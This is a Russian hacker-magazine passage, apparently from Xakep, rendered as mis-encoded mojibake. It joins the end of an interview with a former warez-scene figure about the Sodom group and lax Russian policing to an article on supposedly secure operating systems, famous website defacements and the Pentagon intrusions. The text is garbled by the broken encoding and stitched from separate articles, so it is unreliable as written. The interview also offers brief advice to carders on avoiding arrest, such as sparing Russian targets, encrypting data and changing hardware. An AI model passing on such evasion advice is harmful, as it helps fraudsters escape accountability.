Áûëè ëè ïîäîáíûå ñòîëêíîâåíèÿ ìåæäó ðóññêèìè õàêåðàìè è êðýêåðàìè?
ST: Äà íåò, êðýêåðû âñåãäà ñòàðàëèñü äåðæàòüñÿ îñîáíÿêîì, ïîíèìàÿ,
÷òî åñëè êòî-òî ñåðüåçíî è íàðóøàåò çàêîíû îá èíòåëëåêòóàëüíîé
ñîáñòâåííîñòè, òàê ýòî � îíè. Òå, êòî ðåàëüíî íàðóøàë çàêîí, íå âûñî-
âûâàëèñü � ïîíèìàëè, ÷òî çà ýòî ìîæíî ïîëó÷èòü ñòàòüþ, èëè ÷òî åùå

õóæå, ñòðåëó, ïîñëå êîòîðîé òû
îêàæåøüñÿ ãäå-íèáóäü â ëåñó èëè
ïîäâàëå. Ê Ìèøå Jimmy Jamez, ãå-
ðîþ íåäàâíî îïóáëèêîâàííîé ó
âàñ ñòàòüè î Drink or Die, îòíîøå-
íèå áûëî íåîäíîçíà÷íîå. Òå, êòî
õîðîøî åãî çíàëè, ðåäêî âîäèëè ñ
íèì äðóæáó áîëåå ãîäà � îí ñåáÿ
âåë âñåãäà âûçûâàþùå, ÷àñòî ñ
ëèøíèìè íà òîò ìîìåíò ïîíòàìè.
Åñëè áû îí íå óåõàë, òî ñåðüåçíûé

êîíôëèêò áûë áû íàâåðíÿêà. Íà ìèðîâîé ñöåíå íàñ âñåãäà
óâàæàëè è áîÿëèñü, òàê êàê ïîäðàñòàþùåìó ïîêîëåíèþ
ïàðíè èç Ðîññèè âíóøàëè æèâîòíûé ñòðàõ ðàññêàçàìè î
ïóøêàõ, âîäêå, ìðà÷íûõ óëèöàõ è äðóãèõ âåùàõ. Ïîýòîìó
òàì äàæå íàìåêà íå áûëî íà êàêèå-òî òðåíèÿ. À âíóòðè
ñòðàíû � òàê, ïî ìåëî÷àì. Ìîëîäûå áûëè.

mindw0rk: Ðàññêàæè î ãðóïïå Sodom. Êàê îíà ïîÿâèëàñü,
êàê ðàçâèâàëàñü, ÷åì âû çàíèìàëèñü, íåìíîãî î ìåìáåðàõ,
êîãäà áûë ñàìûé ïèê àêòèâíîñòè è êîãäà ïðîèçîøåë ñïàä,
íàä êàêèìè ïðîåêòàìè ðàáîòàëè, è ÷åì çàêîí÷èëàñü èñòî-
ðèÿ êîìàíäû?
ST: Ãðóïïà Sodom ïîÿâèëàñü â 1995 ãîäó. 80% ïåðâîíà-
÷àëüíîãî ñîñòàâà ñîñòàâëÿë Ïèòåð, 20% � Ìîñêâà. Ïîëãî-
äà ñïóñòÿ ïîëîâèíà ëþäåé áûëè óæå èç Åâðîïû, ê êîíöó
ïðèøëè ìåìáåðû èç ÑØÀ, Àâñòðàëèè, Êàíàäû. Â ãðóïïå
áûëî îêîëî 50�60 ÷åëîâåê, èç Ðîññèè áûëè êðýêåðû è òå,

êòî çàíèìàëñÿ îðãàíèçàöèåé. Î
ìåìáåðàõ ãîâîðèòü íå áóäó � ýòî
îòäåëüíàÿ òåìà ðàçãîâîðà. Ñêàæó
òîëüêî î òåõ, î êîì îñòàëèñü îñî-
áåííî õîðîøèå âîñïîìèíàíèÿ:
Katz � ÑØÀ, 39 ëåò, æåíùèíà, êî-
òîðàÿ âíåñëà äîìàøíþþ àòìîñ-
ôåðó; IPggi � Àâñòðàëèÿ, ÷åëî-
âåê, çàïóñòèâøèé ýëåêòðîííûé
æóðíàë defacto, ãäå îñâåùàëîñü

âñå, ÷òî ïðîèñõîäèëî íà ìèðîâîé ñöåíå; Sensi � Ôðàíöèÿ, ïàðåíü, êî-
òîðûé âñåõ ïîäïèòûâàë òðåêàìè ðåããè-ìóçûêè è êîòîðûé ñëåäèë çà
ïîñòàâùèêàìè ðåëèçîâ; Jaq in the Box � Ðîññèÿ, ÷åëîâåê, êîòîðûé ïîä-
äåðæèâàë îáùåíèå ñî âñåìè çâåçäàìè ìèðîâîé ñöåíû è êîòîðûé áûë
äóøîé êàíàëà Sodom; Dizzident & Waxattack � Ãåðìàíèÿ, ëèäåðû ñàìîé
óñïåøíîé åâðîïåéñêîé êóðüåð-ãðóïïû òîãî âðåìåíè Devotion, îíè ñëå-
äèëè çà òåì, ÷òîáû ó íàøåé êîìàíäû áûëè ëó÷øèå ñàéòû â êà÷åñòâå
«äðîïîâ», è ÷òîáû ðåëèçû ðàñïðîñòðàíÿëèñü áûñòðî è áåç êîñÿêîâ. Ïèê
àêòèâíîñòè ïðèøåëñÿ íà 1997 ãîä � òîãäà íàñ î÷åíü óâàæàëè çà êà÷å-
ñòâî è êîëè÷åñòâî ðåëèçîâ, à ëîçóíãîì áûëà ôðàçà: Russian Mafia �
we'll take care of you. Çàêðûëèñü â 1998 ãîäó, ïîñëå èçìåíåíèÿ âåêòîðà
ëè÷íîé æèçíè ó ëèäåðîâ êîìàíäû. Îñíîâíûì íàøèì ïðîåêòîì áûëà
ãðóïïà è âñå, ÷òî ñ íåé áûëî ñâÿçàííî. Èñòîðèÿ Sodom çàêîí÷èëàñü
òîðæåñòâåííîé  ôèíàëüíîé âñòðå÷åé â Èíòåðíåòå.

mindw0rk: Íàñêîëüêî àêòèâíî íàøà äîáëåñòíàÿ ìèëèöèÿ çàíèìàëàñü
êîìïüþòåðíûìè äåëàìè? Ëîâèëè ëè «êðóïíóþ ðûáó» èëè ïåðåáèâàëèñü
ìåëêîé ðûáåøêîé? Ñóùåñòâîâàëà ëè âîîáùå óãðîçà äëÿ ñåðüåçíûõ ëþäåé,
êîòîðûå íà âçëîìå è êàðäèíãå äåëàëè áîëüøèå äåíüãè, ïîïàñòü çà ðåøåòêó?
ST: Íàøà äîáëåñòíàÿ ìèëèöèÿ áûëà íàñòîëüêî æå àêòèâíà, íàñêîëüêî õî-
ðîøî îñíàùåíà êîìïüþòåðàìè è íàñêîëüêî õîðîøî ðàçáèðàëàñü â òîí-
êîñòÿõ tcp/ip. Òî åñòü � íèêàê. Äîáëåñòíîé ìèëèöèè, â ïðèíöèïå, áûëî
ãëóáîêî íàïëåâàòü, êàê ñîçäàëè îòäåë «Ð», êîòîðûé ÷åðåç ïîëãîäà ñêà-
òèëñÿ ê áàíàëüíîé ïðîñëóøêå çà äåíüãè. «Êðóïíóþ ðûáó» íèêîãäà íå ëî-
âèëè è íå ïîéìàþò, òàê êàê «êðóïíîé ðûáå» â Ðîññèè äåëàòü íå÷åãî. Ñ
òî÷êè çðåíèÿ äåë. Ñ òî÷êè çðåíèÿ ïðîæèâàíèÿ � äà, «êðóïíàÿ ðûáà» è ó
íàñ, è íà Óêðàèíå âîäèòñÿ. Íî íåò ñìûñëà äåëàòü ÷òî-ëèáî òóò. Áàíêîâñ-
êàÿ ñèñòåìà â ÑØÀ è Åâðîïå íà 50 ëåò ñòàðøå íàøåé, è âàðèàíòîâ äëÿ òå-
ëîäâèæåíèé òàì, êîíå÷íî, áîëüøå. Çà ðåøåòêó ëþäè ïîïàäàëè è ó íàñ, è
òàì, íî áàçó âñåãäà ïîä ýòî ïîäâîäèëè äðóãóþ, áðàëè âñåãäà íà äðóãîì.
×àùå âñåãî ëþäè ïîïàäàëèñü íà ñëó÷àéíîñòÿõ, âåùàõ, íå èìåþùèõ íè÷å-
ãî îáùåãî ñ êàðäèíãîì, à âååðîì çàíîñèëî âñå è âñåõ. È â ðåçóëüòàòå íàê-
ðûâàëî åùå áîëüøå. Òàê êàê äîêàçàòü ôðàóä ñëîæíî, ìíîãèå, êòî ïîïàë-
ñÿ, ñèäåëè ñðîê çà äðóãèå ïðåñòóïëåíèÿ. Â íàøåé ñòðàíå, ïðè êîëè÷åñòâå
ñïåöèàëèñòîâ â îðãàíàõ, êîòîðûõ ìîæíî ïåðåñ÷èòàòü ïî ïàëüöàì, íå ãðî-
çèò âîîáùå íè÷åãî. Íàïðèìåð, ñåòåâàÿ ïîðíîãðàôèÿ â íàøåé ñòðàíå
ïðîöâåòàåò ñïîêîéíî, õîòÿ óðîâåíü ïóáëè÷íîñòè òàì ãîðàçäî âûøå, è áà-
çó ïîäâåñòè ëåã÷å. Ãîâîðÿ «íå ãðîçèò íè÷åãî», ÿ ãîâîðþ î ëþäÿõ, êîòîðûå
æèâóò ýòèì, è çíàþò âñå ïîäâîäíûå êàìíè, êîòîðûå ñëåäóåò èçáåãàòü. «Íå
ñðàòü, ãäå æèâåøü», òî åñòü íå òðîãàòü ðîññèéñêèé Èíòåðíåò è êîìïàíèè
ñ ðóññêèì êàïèòàëîì, âñåãäà âñþ èíôîðìàöèþ äåðæàòü â ìàêñèìàëüíî
çàøèôðîâàííîì âèäå, ðåãóëÿðíî ìåíÿòü îáîðóäîâàíèå è òàê äàëåå.

mindw0rk: Íàñêîëüêî ñèëüíî èçìåíèëàñü ñöåíà çà 10 ëåò? Êàêèå
ãëàâíûå îòëè÷èÿ íîâîé òóñîâêè îò ñòàðîé?
ST: ß óøåë â 98-ì ãîäó è ìíå ñëîæíî ñóäèòü, ÷òî ïðîèçîøëî â
ïîñëåäóþùèå 7 ëåò. Ìîãó ïðåäïîëîæèòü, ÷òî ãëàâíûå îòëè÷èÿ â öåííîñòÿõ,
êîòîðûå èñïîâåäóþò ëþäè, çàíèìàâøèåñÿ ýòèì òîãäà è ñåé÷àñ. Ïðîèçîøëî
áóðíîå îìîëîæåíèå, ñ 17-22 ëåò, ñîñòàâëÿâøèõ ðàíüøå ñðåäíèé âîçðàñò
íà÷èíàþùèõ, äî 9-13 ëåò. ×òî íå ïîøëî íà ïîëüçó, íà ìîé âçãëÿä [X
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[îñè] Óñòàíîâëåííàÿ íà êîìïüþòåðå îïåðàöèîí-
íàÿ ñèñòåìà � êëþ÷åâîé ôàêòîð â áåçîïàñíîñòè
ÏÊ. Â 2004 ãîäó àíãëèéñêàÿ security-êîìïàíèÿ mi2g
ïðîâîäèëà èññëåäîâàíèå, öåëüþ êîòîðîãî áûëî
âûÿâëåíèå ñàìûõ áåçîïàñíûõ ÎÑ. Íàèáîëåå óÿç-
âèìûìè îêàçàëèñü ìíîãîñòðàäàëüíàÿ âèíäà è ïî-
ëó÷èâøèé îãðîìíóþ ïîïóëÿðíîñòü íà ðûíêå ñåðâå-
ðîâ Linux, êîòîðûé óæå äàâíî íå òÿíåò íà çâàíèå ñå-
êóðíîé îïåðàöèîíêè. Ñàìûìè ñòîéêèìè áûëè
îáúÿâëåíû Mac OS è ñåìåéñòâî *BSD. Íî åñëè ïî-
çèöèè BSD ïîä ñîìíåíèå íèêòî íå ñòàâèò, òî ðàçðà-
áîòêà îò Apple â ñïèñîê ÿâíî ïîïàëà ïî íåäîðàçó-
ìåíèþ. Âî-ïåðâûõ, ñèñòåìà ìàëî ðàñïðîñòðàíåíà,
à óæ íà ñåðâåðàõ è ïîäàâíî, âî-âòîðûõ, ìàêèíòîø
âñåãäà áûë îðèåíòèðîâàí íà íà÷èíàþùèõ ïîëüçî-
âàòåëåé è äèçàéíåðîâ, à íå íà ñèñòåìíûõ àäìèíè-Þ
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Ñàìûå çàùèùåííûå 
êîìïüþòåðíûå ñèñòåìû

ÍÀ SECURITY-ÑÀÉÒÀÕ ×ÀÑÒÎ ÌÎÆÍÎ ÏÐÎ-
×ÈÒÀÒÜ ÎÁ ÎÏÅÐÀÖÈÎÍÊÀÕ, ÃÀÐÀÍÒÈÐÓÞ-
ÙÈÕ ÀÄÌÈÍÓ ÑÒÎÏÐÎÖÅÍÒÍÓÞ ÁÅÇÎÏÀÑ-
ÍÎÑÒÜ, Î ÍÅÏÐÎÕÎÄÈÌÛÕ ÔÀÉÐÂÎËÀÕ,
ÊÐÈÏÒÎÀËÃÎÐÈÒÌÀÕ, Ñ ÊÎÒÎÐÛÌÈ ÌÎÆÍÎ
ÇÀÁÛÒÜ Î ÕÀÊÅÐÀÕ ÍÀ ÁËÈÆÀÉØÈÅ ËÅÒ ÄÅ-
ÑßÒÜ. ÍÎ ÄÎÑÒÀÒÎ×ÍÎ ÇÀÉÒÈ ÍÀ ÁÀÃÒÐÀÊ,
ÏÎÑÌÎÒÐÅÒÜ ÍÀ ÊÎËÈ×ÅÑÒÂÎ ÄÛÐ ÊÐÓÃÎÌ,
È ÂÌÅÑÒÎ ÍÀÄÅÆÍÛÕ ÇÀÌÊÎÂ ÒÛ ÓÂÈ-
ÄÈØÜ ÏÅÐÅÄ ÑÎÁÎÉ ÕÐÓÏÊÈÅ ÇÀÙÅËÊÈ,
ÑËÎÌÀÒÜ ÊÎÒÎÐÛÅ � ÅÄÂÀ ËÈ ÏÐÎÁËÅÌÀ.
ÒÅÌ ÍÅ ÌÅÍÅÅ, ÑÐÅÄÈ ÌÍÎÆÅÑÒÂÀ ÊÎÌ-
ÏÜÞÒÅÐÍÛÕ ÑÈÑÒÅÌ, ÏÐÎÃÐÀÌÌ È ÄÅÂÀÉ-
ÑÎÂ ÅÑÒÜ ÒÀÊÈÅ, ÊÎÒÎÐÛÅ ÄÀÞÒ ÎÒÏÎÐ
ÄÀÆÅ ÑÀÌÛÌ ÌÀÒÅÐÛÌ ÕÀÊÅÐÀÌ. ß ÐÀÑ-
ÑÊÀÆÓ ÒÅÁÅ Î ÑÀÌÛÕ ÊÐÓÒÛÕ ÇÀÙÈÒÀÕ
ÌÈÐÀ | Èëüÿ Àëåêñàíäðîâ (ilya_al@rambler.ru)

Åñòü ëëè ïïàíàöåÿ 
îò ââçëîìà?

ñòðàòîðîâ. Â êîíöå àâãóñòà ýòîãî ãîäà Apple âûïóñòèëà ïàò÷, óñòðàíÿþùèé 40
(ñîðîê!) óÿçâèìîñòåé â ÎÑ. Ðàíåå, èçâåñòíàÿ ôèðìà Symantec â ñâîåì áþëëå-
òåíå Internet Security Threat Report îïèñàëà îêîëî 37 äûð â çàùèòå Mac OS. Êî-
íå÷íî, íà ñåãîäíÿøíèé äåíü îíè ïðàêòè÷åñêè âñå íåàêòóàëüíû, ñóùåñòâóþò
çàïëàòêè è îáíîâëåíèÿ, íî ãäå ãàðàíòèÿ, ÷òî çàâòðà íå áóäåò íàéäåíà åùå îä-
íà êðèòè÷åñêàÿ óÿçâèìîñòü? Òàê ÷òî åñëè òû þçàåøü ìàê è äóìàåøü, ÷òî æè-
âåøü â ïàðàëëåëüíîì ñ õàêåðàìè ìèðå, òû ñèëüíî îøèáàåøüñÿ. 
Îòäåëüíî õî÷åòñÿ âûäåëèòü OpenBSD. Ðàçðàáîò÷èêè ÎÑè èçíà÷àëüíî
ñòàâèëè ïåðåä ñîáîé çàäà÷ó ñîçäàòü ìàêñèìàëüíî áåçîïàñíóþ ñèñòåìó,
è ýòî ðåáÿòàì óäàëîñü. Íåò, áàãè åñòü è â OpenBSD, íî, âî-ïåðâûõ, èõ óæ
î÷åíü ìàëî, âî-âòîðûõ, ïàò÷è ïîÿâëÿþòñÿ ìîìåíòàëüíî. Íî ñàìîé áåçî-
ïàñíîé ñèñòåìîé íà ïëàíåòå ÿâëÿåòñÿ íå äåòèùå Òåî Äå Ðààäòà è êî. Ñà-
ìûì âûñîêèì êëàññîì çàùèòû, ñîãëàñíî äîêóìåíòó «Êðèòåðèè îöåíêè
íàäåæíûõ êîìïüþòåðíûõ ñèñòåì», ñîçäàííîìó àãåíòñòâîì íàöèîíàëüíîé
áåçîïàñíîñòè ÑØÀ, îáëàäàåò XTS-300 STOP. Âåðîÿòíî, òû äàæå íå ñëû-
øàë î ïîäîáíîé ÎÑ. Ýòî ïðîäóêò êîìïàíèè Wang Federal, êîòîðûé, ïîìè-
ìî îïåðàöèîíêè, âêëþ÷àåò â ñåáÿ è àïïàðàòíóþ ÷àñòü íà îñíîâå ïðîöåñ-
ñîðîâ Intel. XTS-300 áàçèðóåòñÿ íà UNIX, ïîääåðæèâàåò îäíîâðåìåííî äî
äâóõñîò ïðîöåññîðîâ, èñïîëüçóåòñÿ æå ÷àùå âñåãî â âîåííûõ ñòðóêòóðàõ.
Óìåñòíîé áóäåò öèòàòà èçâåñòíîãî ðóññêîãî ñåêüþðèòè ýêñïåðòà ÇÀÐÀ-
Çû: «×åì áåñïîëåçíåé ÎÑ, òåì îíà áåçîïàñíåé». Ïðè âñåì óâàæåíèè ê
XTS-300, QNX è ïðî÷èì ýêçîòè÷åñêèì ñèñòåìàì, èõ ôóíêöèîíàëüíîñòè
çà÷àñòóþ áûâàåò íåäîñòàòî÷íî, è ëþäè ñòàâÿò ïóñòü è ìåíåå çàùèùåí-
íûå, íî êóäà áîëåå ïðîäâèíóòûå è ðàñïðîñòðàíåííûå ñèñòåìû.
Ïðîäîëæàÿ òåìó þíèêñ, ñêàæó ïàðó ñëîâ î âèðóñàõ. Íåâåðîÿòíî, íî ìíî-
ãèå îáèòàòåëè *nix äî ñèõ ïîð ñâÿòî âåðÿò â òî, ÷òî âèðóñîâ ïîä Linux è
BSD íåò. À âåäü ïåðâûé øèðîêî èçâåñòíûé âèðóñ � ÷åðâü Ìîððèñà �
ïîðàæàë èìåííî 4 BSD UNIX. Â 2001 ãîäó ñåòåâîé âèðóñ Sadmind äîñòà-
âèë íåìàëî ïðîáëåì ïîëüçîâàòåëÿì SUN Solaris, à â 2002 ÷åðâü Slapper,
èñïîëüçóÿ îøèáêó ïåðåïîëíåíèÿ áóôåðà â OpenSSL, èíôèöèðîâàë ïî-
ðÿäêà 20 000 ìàøèí ñ óñòàíîâëåííûì íà íèõ Linux. Ñïèñîê ìîæåò áûòü
ïðîäîëæåí. Äðóã þíèêñîéä, íå èãðàé ñ îãíåì � àíòèâèðóñ Êàñïåðñêîãî
è DR.WEB ñóùåñòâóþò è ïîä òâîåé ëþáèìîé ñèñòåìîé!
Ñàìàÿ âèðóñîóñòîé÷èâàÿ ñèñòåìà � ýòî, êîíå÷íî æå, MAC OS, íî ìàê-
ðîâèðóñû ñóùåñòâóþò è çäåñü. Äà è íå ìîãóò íå ñóùåñòâîâàòü � âåäü
ýòî ñêðèïòû, ñîçäàííûå äëÿ îïðåäåëåííîãî ïðîãðàììíîãî ïðîäóêòà, è
èõ ðàáîòà îò òèïà ÎÑ íå çàâèñèò. 

Ñâåæóþ èíôîðìàöèþ è
ðàçíûå õàêåðñêèå íîâîñòè
òû âñåãäà ñìîæåøü íàéòè
íà xakep.ru

Ñòàôô, ïðîãðàììû è
íåêîòîðûå äåôåéñû èç
ñòàòüè òû íàéäåøü íà
íàøåì äèñêå.
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[ñàéòû] Âïîëíå âîçìîæíî ÷òî òû,
íåñìîòðÿ íà âñå íàøè ïðåäîñòåðå-
æåíèÿ, çàíèìàëñÿ âçëîìîì web-
ïîðòàëîâ. Ìîæåò áûòü, çàìåíÿë
èíäåêñíóþ ñòðàíèöó ïîðíîãðàôè-
÷åñêèìè èçîáðàæåíèÿìè, ñòèðàë
áàçû äàííûõ, ïîëüçîâàëñÿ êîíôè-
äåíöèàëüíîé èíôîðìàöèåé. Õîòÿ
âðÿä ëè â òâîåé êîëëåêöèè áûë
ïðàâèòåëüñòâåííûé ðåñóðñ, ñàéò
êðóïíîé êîðïîðàöèè, èëè õîòÿ áû
çàõóäàëûé ïîèñêîâèê. Âñå ýòî òû
ñ÷èòàë íåóÿçâèìûìè ïîðòàëàìè,
çà êîòîðûìè ñëåäÿò êðóòûå ñèñàä-
ìèíû. Èíîãî ìíåíèÿ ïðèäåðæèâàë-
ñÿ 15-ëåòíèé êàíàäñêèé õàêåð, íà-
çûâàþùèé ñåáÿ Mafiaboy. Çàõâà-
òèâ íåñêîëüêî óíèâåðñèòåòñêèõ
ñåðâåðîâ, þíûé âçëîìùèê ñîçäàë èç íèõ ïëîùàäêó äëÿ îðãàíèçàöèè
DDoS-àòàê. À ääîñèòü ðåøèë íå ÷òî-íèáóäü, à CNN, Yahoo! è Amazon,
âûðóáèâ ýòè êðóïíåéøèå ñàéòû íà íåñêîëüêî ÷àñîâ. Ïîòåðè îò àòàêè ñî-
ñòàâèëè îêîëî ìèëëèàðäà äîëëàðîâ, â ýòó ñóììó âõîäèò è ïàäåíèå àê-
öèé ðÿäà êîìïàíèé, çàâèñèìûõ îò Èíòåðíåòà. Mafiaboy ïîïàëñÿ èç-çà
ëèøíåãî õâàñòîâñòâà â IRC-÷àòå. Ïàðåíü èçâèíèëñÿ, ñêàçàë, ÷òî áîëüøå
íå áóäåò, íî ñ òåõ ïîð ê êîìïó îí ïîäõîäèò òîëüêî ïîä íàáëþäåíèåì ó÷è-
òåëÿ. Èíòåðíåò-ñîîáùåñòâî òîãäà áûëî ïîòðÿñåíî, ÷òî òàêîé ðåñóðñ, êàê
Yahoo, ìîæåò áëîêèðîâàòü äàæå 15-ëåòíèé ïîäðîñòîê. 
Äåôåéñíóòü Microsoft.com ìå÷òàë êàæäûé õàêåð. Îêàçûâàåòñÿ è ýòîò,
áåç ñîìíåíèÿ, îäèí èç ñàìûõ çàùèùåííûõ ðåñóðñîâ ñåòè, ìîæíî ëî-
ìàòü. Ðåáÿòà èç OutLaw Group â 2004 ãîäó íà îäíîé èç ñòðàíèö ïîðòàëà
(ïîëíîñòüþ ïîðóòàòü ñåðâàê èì íå óäàëîñü) îñòàâèëè ñâîé äåôåéñ. Åñëè
èíòåðåñíî, ïîëþáîâàòüñÿ èì ìîæåøü òóò: web-hack.ru/defaced/micro-
soft.com.jpg. Íå îòñòàþò è áðàçèëüñêèå âçëîìùèêè � êîìàíäà Insanity
Zine Corp èçìåíèëà èíäåêñíóþ ñòðàíèöó Microsoft.com íà áðàçèëüñêîì
ÿçûêå � www.microsoft.com/brasil/.
Ëîìàþò, âïðî÷åì, íå òîëüêî ìåëêîìÿãêèõ. Ïîðòàë êîìïàíèè Asus â ñâîå
âðåìÿ áûë âçëîìàí íåêèì 14m3, íà ãëàâíîé ñòðàíèöå õàêåð íàïèñàë:
defaced by 14m3 k1dd13 fuck hackphreak and that stupid dickhead rloxley.
Êàê ÿ ïîíÿë, ÷óâàê ýòèì õîòåë ñêàçàòü, ÷òî îí � î÷åíü êðóòîé, à õàêåðû
hackphreak è rloxley � ëàìîøíèêè ïîãàíûå. Ïðè ÷åì çäåñü èçâåñòíûé
ïðîèçâîäèòåëü êîìïëåêòóþùèõ íåïîíÿòíî, íó äà è ëàäíî.
Âåá-ñàéò àðìèè ÑØÀ www.army.mil ïî ïðàâó íàõîäèëñÿ íà ïåðâîì ìåñòå
ðàçëè÷íûõ òîïîâ èç ðàçðÿäà «ïîðòàëû, êîòîðûå íåâîçìîæíî âçëîìàòü». Íà-
õîäèëñÿ, ïîêà 20-ëåòíèé ×àä Äýâèñ íå íàïèñàë íà ñòàðòîâîé ñòðàíèöå Hac-
ked by Global Hell. Ïðàâäà, âìåñòå ñ ìèðîâîé ñëàâîé êðóòîãî õàêåðà ×àä ïî-
ëó÷èë øòðàô â 10 òûñÿ÷ äîëëàðîâ è îêîëî ãîäà òþðüìû, íî ýòî óæå äåòàëè.
RSA Security inc � èçâåñòíåéøèå ñïåöèàëèñòû â îáëàñòè êðèïòîãðàôèè.
Ëîãè÷íî áûëî áû ïðåäïîëîæèòü, ÷òî èõ ïîðòàë çàùèùåí íå õóæå êðèï-
òîàëãîðèòìîâ. Óâû, êâàëèôèêàöèè ñèñòåìíûõ àäìèíèñòðàòîðîâ ñàéòà
www.rsa.com îñòàâëÿåò æåëàòü ëó÷øåãî � ñàéò áûë çàäåôåéñåí íåèç-
âåñòíûìè õàêåðàìè, ÷òî ñèëüíî ïîäîðâàëî ðåïóòàöèè RSA Security.
Ïðîäîëæàòü ðàññêàçûâàòü î âçëîìàííûõ ñàéòàõ ìîæíî åùå äîëãî. Íî ÿ
äóìàþ, òû è òàê ïîíÿë, ÷òî ëþáîé ïîðòàë â Ñåòè, êàêèì áû êðóòûì áû îí
íå áûë, ìîæåò áûòü âçëîìàí.

[ñåòè] Ïåíòàãîí,  ÍÀÑÀ� â ôèëüìàõ, åñëè õàêåð ñóìåë âçëîìàòü
ñåòè ýòèõ îðãàíèçàöèé, îí ñ÷èòàåòñÿ î÷åíü êðóòûì. Íî íàñêîëüêî
êðóòû ñàìè ñåòè?
Êîìïüþòåðíàÿ ñåòü ìèíèñòåðñòâà îáîðîíû ÑØÀ � îäíà èç ñàìûõ
áîëüøèõ â ìèðå. Íà ñîäåðæàíèå ñâîèõ êîì-
ïüþòåðîâ Ïåíòàãîí òðàòèò ïîðÿäêà 1,8 ìèë-
ëèàðäîâ äîëëàðîâ â ãîä. Íåäàâíî â ìèíè-
ñòåðñòâå îáîðîíû ââåëè øêàëó «ñîñòîÿíèÿ
áîåâîé ãîòîâíîñòè» ê êîìïüþòåðíûì àòà-
êàì, ïî àíàëîãèè ñî øêàëàìè âîåííîé è òåð-
ðîðèñòè÷åñêîé óãðîçû. Â çàâèñèìîñòè îò ñî-
ñòîÿíèÿ øêàëû àðìèÿ ïåðåâîäèòñÿ â ñîîò-
âåòñòâóþùåå ñîñòîÿíèå ãîòîâíîñòè, ÷òî ïî-
ìîãàåò ñêîîðäèíèðîâàòü äåéñòâèÿ âî âðåìÿ
÷ðåçâû÷àéíûõ ñèòóàöèé. 
Ïîñëå âèðóñíûõ ýïèäåìèé ILoveYou è Blast ïî-
äîáíîå ñîçäàëè è â êîìïüþòåðíîé îáëàñòè.
ß, ïðèçíàòüñÿ, íå ïîíèìàþ, êàê àðìèÿ ÑØÀ ñïà-
ñåò Èíòåðíåò îò âèðóñíûõ ýïèäåìèé, íî òåì íå
ìåíåå. Ñåðâåðû â Ïåíòàãîíå ìàêñèìàëüíî çà-
ùèùåíû, íà íèõ óñòàíîâëåíî íîâåéøåå ÏÎ, ñà-
ìûå âàæíûå ñåðâåðû íå ïîäêëþ÷åíû ê ãëîáàëü-

íîé ñåòè, ÷òîáû èçáå-
æàòü âíåøíåãî âòîð-
æåíèÿ. Íåñêîëüêî òû-
ñÿ÷ ïðîôåññèîíàëü-
íûõ ñèñòåìíûõ àäìè-
íèñòðàòîðîâ ñëåäèò çà ðàáîòîé ñåòè.
Ïåðâûì õàêåðîì, ñîçíàâøèìñÿ âî âçëîìå ñåòåé Ïåíòàãîíà, ñòàë èç-
ðàèëüòÿíèí Ýõóä Òåíåáàóì, â àíäåãðàóíäå èçâåñòíûé êàê Analyzer.
Èíöèäåíò ñëó÷èëñÿ âî âðåìÿ óñèëåíèÿ íàïðÿæåííîé îáñòàíîâêè â ðà-
éîíå ïåðñèäñêîãî çàëèâà, è ïðàâèòåëüñòâî ÑØÀ áûëî óâåðåíî, ÷òî
ýòî ïîïûòêè Èðàêà ïîìåøàòü ðàçâåðòûâàíèþ âîîðóæåííûõ ñèë â ýòîì
ðàéîíå. Íî ïðèâëå÷åííûå ê ðàññëåäîâàíèþ ÖÐÓ è ÔÁÐ áûñòðî âûøëè
íà èçðàëüñêîãî õàêåðà, êîòîðûé ê Ñàääàìó Õóñåéíó íè ìàëåéøåãî îò-
íîøåíèé íå èìåë, à âçëîì ñîâåðøèë ïðîñòî òàê, â èññëåäîâàòåëü-
ñêèõ, òàê ñêàçàòü, öåëÿõ. ÔÁÐ äàæå âûïóñòèëî êîðîòêèé äîêóìåíòàëü-
íûé ôèëüì î òîì, êàê â øòàòàõ ëîâÿò õàêåðîâ. Âïðî÷åì, äîñòóïà ê
êîíôèäåíöèàëüíîé èíôîðìàöèè âçëîìùèê íå ïîëó÷èë, áëàãîäàðÿ ÷å-
ìó îòäåëàëñÿ ñðîêîì â ïîëãîäà. Êóäà äàëüøå ïîøåë àíãëè÷àíèí Ãàð-
ðè Ìàêêèííîí � áåçðàáîòíûé ñèñàäìèí èç Ëîíäîíà. Âû÷èñëèâ ip-àä-
ðåñà ñåòè ìèíèñòåðñòâà îáîðîíû (÷òî äëÿ ïðîôåññèîíàëà òðóäà íå ñî-
ñòàâèò), Ìàêêèííîí ÷åðåç äûðû â ñèñòåìàõ áåçîïàñíîñòè ïîëó÷èë àä-
ìèíèñòðàòèâíûå ïðàâà íà íåêîòîðûõ êîìïüþòåðàõ, ñ êîòîðûìè ïîâå-
ñåëèëñÿ íà ñëàâó. Óäàëèë èç ñèñòåìû 1300 àêêàóíòîâ, ïîóäàëÿë ìíî-
æåñòâî âàæíûõ ôàéëîâ, íå çàáûâ êîå-÷òî ñêîïèðîâàòü ñåáå, è ïîäíÿë
ïðèâèëåãèè äî ðóòîâûõ íà 100 êîìïüþòåðàõ.
Îáíàðóæèâ ñëåäû äåÿòåëüíîñòè Ãàððè, âîåííûå, ëèêâèäèðîâàâ âñå íå-
ïîëàäêè, íà÷àëè ðàññëåäîâàíèå ýòîãî äåëà. Âûéäÿ íà æèòåëÿ òóìàííî-
ãî Àëüáèîíà, ÔÁÐ îáúÿâèëî Ìàêêèííîíà â ìåæäóíàðîäíûé ðîçûñê. Âñå-
ãî íà ýòî äåëî áûëî ïîòðà÷åíî îêîëî ìèëëèîíà (!!!) äîëëàðîâ, â òî âðå-
ìÿ êàê óðîí îò äåéñòâèé õàêåðà ñîñòàâèë íå áîëüøå ñîòíè òûñÿ÷. Ñâîé
âçëîì Ãàððè îáúÿñíèë òåì, ÷òî õîòåë ïîñìîòðåòü èíôîðìàöèþ î ñóùå-
ñòâîâàíèè èíîïëàíåòÿí, ïðåäïîëîæèâ, ÷òî ó Ïåíòàãîíà åñòü ñâåäåíèÿ î
çåëåíûõ ÷åëîâå÷êàõ. Íå çíàþ, íàøåë ëè ÷òî-ëèáî ñòîÿùåå Ìàêêèííîí,
íî ñâåòèò äÿäüêå î÷åíü áîëüøîé ñðîê â ìåñòàõ íå ñòîëü îòäàëåííûõ.. 
Åùå îäíà îðãàíèçàöèÿ, êîòîðàÿ â ïðåäñòàâëåíèè íå íóæäàåòñÿ è êîì-
ïüþòåðû êîòîðîé äîëæíû áûòü õîðîøî çàùèùåíû � àýðîêîñìè÷åñêîå
àãåíòñòâî NASA. Èìåííî çäåñü âåäóòñÿ ðàçðàáîòêè è èññëåäîâàíèÿ ïå-
